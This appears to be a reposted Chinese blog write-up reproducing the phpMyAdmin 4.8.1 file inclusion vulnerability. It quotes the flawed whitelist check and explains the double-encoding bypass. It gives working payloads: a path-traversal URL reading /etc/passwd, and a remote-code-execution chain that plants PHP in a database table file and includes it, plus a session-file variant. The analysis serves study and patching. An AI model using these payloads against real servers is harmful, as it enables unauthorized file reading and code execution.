61

phpmyadmin-4.8.1-复现分析

 5 years ago
source link: http://www.lmxspace.com/2018/06/23/phpmyadmin-4-8-1-复现分析/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

0x02 影响版本

  • phpmyadmin 4.8.1

0x03 利用条件

  • 需要登陆

0x04 漏洞分析

这个漏洞是前两天chamd5公布的,然后呢,由于比较忙,第一时间没有看,趁着周末翻翻看看。

漏洞位置

漏洞位置在index.php 55~63行代码。

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

简单分析一下这段代码。

这里有个if判断,进入到 include $_REQUEST['target']; 之前需要经过5个判断:

1. $_REQUEST['target'] 不能为空

2. $_REQUEST['target'] 为字符串

3. $_REQUEST['target'] 不能以index开头

4. $_REQUEST['target'] 不在 $target_blacklist 数组内

5.需要满足 Core::checkPageValidity($_REQUEST['target'])

这里首先我们先看一下第4点 $target_blacklist 是个什么东西, $target_blacklist 在index.php的第50~52行

$target_blacklist = array (
    'import.php', 'export.php'
);

所以这里第四点只要满足target 参数不是 import.php 或 export.php 就行。

然后第5点我们说到需要满足 Core::checkPageValidity($_REQUEST['target']) ,这里跟进一下看看 checkPageValidity 这个函数具体在干嘛。

函数具体位置在libraries\classes\core.php的443~476行

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

问题出在了下面这串代码

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

这里会将page参数进行url解码,然后判断是否在 $whitelist 是的话返回true。

这里可以看看 $whitelist 有哪些。

if (empty($whitelist)) {
    $whitelist = self::$goto_whitelist;
}

跟进 $goto_whitelist 看到下面这些白名单数组。

public static $goto_whitelist = array(
    'db_datadict.php',
    'db_sql.php',
    'db_events.php',
    'db_export.php',
    'db_importdocsql.php',
    'db_multi_table_query.php',
    'db_structure.php',
    'db_import.php',
    'db_operations.php',
    'db_search.php',
    'db_routines.php',
    'export.php',
    'import.php',
    'index.php',
    'pdf_pages.php',
    'pdf_schema.php',
    'server_binlog.php',
    'server_collations.php',
    'server_databases.php',
    'server_engines.php',
    'server_export.php',
    'server_import.php',
    'server_privileges.php',
    'server_sql.php',
    'server_status.php',
    'server_status_advisor.php',
    'server_status_monitor.php',
    'server_status_queries.php',
    'server_status_variables.php',
    'server_variables.php',
    'sql.php',
    'tbl_addfield.php',
    'tbl_change.php',
    'tbl_create.php',
    'tbl_import.php',
    'tbl_indexes.php',
    'tbl_sql.php',
    'tbl_export.php',
    'tbl_operations.php',
    'tbl_structure.php',
    'tbl_relation.php',
    'tbl_replace.php',
    'tbl_row_action.php',
    'tbl_select.php',
    'tbl_zoom_select.php',
    'transformation_overview.php',
    'transformation_wrapper.php',
    'user_password.php',
);

漏洞利用

网上给的payload: db_sql.php%253/../../../../../../etc/passwd 中的db_sql.php可以用上述的白名单替换从而绕过。

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

这串主要使用 mb_strpos 查找 ? 第一次出现的位置,然后通过 mb_substr 函数第一位的数据,并且赋值给 $_page 然后与白名单进行比较。

这里有小问题,为什么要针对 ? 进行二次编码。

这里简化一下代码。

<?php
echo $_REQUEST['target'];
echo '<br>';
include $_REQUEST['target'];
?>

windows下测试

在windows下测试时候发现:

IfMzmyb.png!web

php会针对二次编码传入之后的参数,进行一次urldecode操作,然后可以成功包含,但是如果是一次编码,会报错,找不到文件。

MFnIFzj.png!web

mac下测试

我在mac下测试时候,通过网上的方法依然可以包含,但是我发现一个有趣的东西

zue6jin.jpg!web

我发现不通过编码的话,依然能够包含文件

7rmiYbM.png!web

getshell

chamd5中给的方法是将数据库查询数据写入到文件里。

show variables like ‘datadir‘

fuMrmyq.png!web

新建test1表,插入<?php phpinfo()?>

vQnIvqF.png!web

最后访问

http://192.168.31.240/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/test/test1.frm

fq2mUnM.png!web

还有种简单的办法,包含session文件,php一般会在tmp下生成session 文件。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK